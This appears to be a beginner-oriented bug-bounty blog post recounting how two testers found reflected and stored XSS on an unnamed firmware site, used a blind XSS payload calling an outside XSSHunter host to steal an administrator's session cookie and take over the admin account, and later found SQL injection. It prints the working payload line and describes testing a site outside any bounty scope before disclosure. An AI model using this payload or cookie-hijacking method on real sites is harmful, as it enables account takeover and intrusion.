How an incident gave us $$$ bounty.
By: Viren Pawar
Tags: Security, Collaboration, First Post, Infosec, Bug Bounty

Hello peeps 🐥.

This blog-post is from Viren Pawar and Pritesh Mistry, about our last critical finding on one of the public websites which is neither on HackerOne nor on BugCrowd or any BB platform 😀.

Note: This write-up will not entertain professionals, it’s just a normal write-up for beginners and newbie’s in our community, because sharing is caring.

So, welcome to the Info-Sec community guys, where our first concern should be providing security and making system bug-free. As this job is very skill demanding, many companies pays for the security being provided by you, commonly referred as Bounty💰.

Starting about the target, we will not name out the website as he didn’t wish to disclose his website in our write-up. Continuing, it is a website offering “Firmware” of several smart gadgets. It was just an incident with me, that while rooting my android device for pentesting, it failed and stuck at bootloader screen. After googling a lot, I encountered a site which was offering the same version I was in need. But that site asked for $2.99 to subscribe and then download firmware.

But I was bit scared that will this firmware work or not. Is this website legit or just a scam? So I started roaming around the website. As usually I try for XSS in search bar and it popped 😍 . Then, me and Pritesh, both of us started to PWN this website for just a $3 firmware 😅😂.

As this website was not in any scope for hunting, our aim was to get that firmware and not any bounty, but as a responsible tester, we mailed him that some vulnerabilities are present on your site. Within an hour, we saw a reply.

Hi, what vulnerability you are talking about?

And we were like, NICE 🤩 ! Whoever the owner/manager is, he/she is positive and interested in knowing vulnerabilities. So we started testing each and every page of website. We found several vulnerabilities: Reflective XSS in Search Bar and Stored XSS in profile section, in-order comments. But as our personal aim was to get firmware, I was potentially in find of SQLi. However, we couldn’t find one 😢.

Generally, XSS are P2/P3 level of bugs and this was a private site whose priority is the resulting impact, not P1/P2.. classification of bugs. When we were about to leave from this testing, Pritesh asked me to use XSSHunter to check Blind XSS. I also came to know about Blind XSS for first time.

Blind XSS, referred as BXSS is the same XSS, but in this payload we don’t use alert() or confirm(), we try to execute our JS code and the victim must not be known of this.

So we used our Blind XSS payload "><script src=https://myhandle.xss.ht></script> and were waiting for notification from XSSHunter. (XSSHunter mails you when our payload gets fired)

Within an hour, I got mail from XSSHunter and here it is:

Okay, so this was fired from admin login as we can see the path from which Blind XSS had fired. In this report mail of XSS Hunter, we got almost all juicy information like “Vulnerable Page URL, Victim’s IP Address, Referrer to that page, User-Agent, ♥ COOKIES ♥ , Injection point, DOM of that instance, Screenshot”. Screenshot is attached below:

(Blurred on demand)

Now it’s confirmed that the details in report were of “Administrator”, so to confirm this exploit, I tried to visit the admin page with cookies mentioned in report. And BOOM! I was logged in 😍. I was able to iterate whole site, in details: add/update/delete files, manage users, view billing system (merchant API configuration), view CRON jobs, view Dashboard, and all other administrative actions.

Okay so scenario was like, all our flooded Blind XSS made the developer in action to disable my account. He searched my email in users list, open my profile. Here, at this point in address section of my profile we had my payload already injected. The moment he opened my account, XSS was fired.

What next? After confirming everything I wrote up a nice report with POC stating all vulnerabilities caught by us. Starting from Reflective XSS to Admin Account Takeover. But as the administrator disabled my account thinking me as a bad guy, in my vulnerability report before starting report I explained the administrator that I am not a bad guy, I was a security researcher, and the mail was genuine vulnerability disclosure. Within an hour this was his reply.

For next 9 days, we communicated about fixation of this bugs, tried to bypass their fixes, found new bugs, reported them and so on. Other reported bugs were “Open Redirection” on 2 different end points and one lovely as well as handsome ❤ SQL INJECTION ❤.

This is an example for me, that not every vulnerability get tested by us at a time, and testing the same system again after fixes may open doors to other bugs. The moment I got SQL Injection, reported 2 Open Redirection and a SQL Injection on the go.

But for their data privacy and being a ethical tester, I didn’t explore their database further. I just confirmed SQL Injection. (I advice same to you)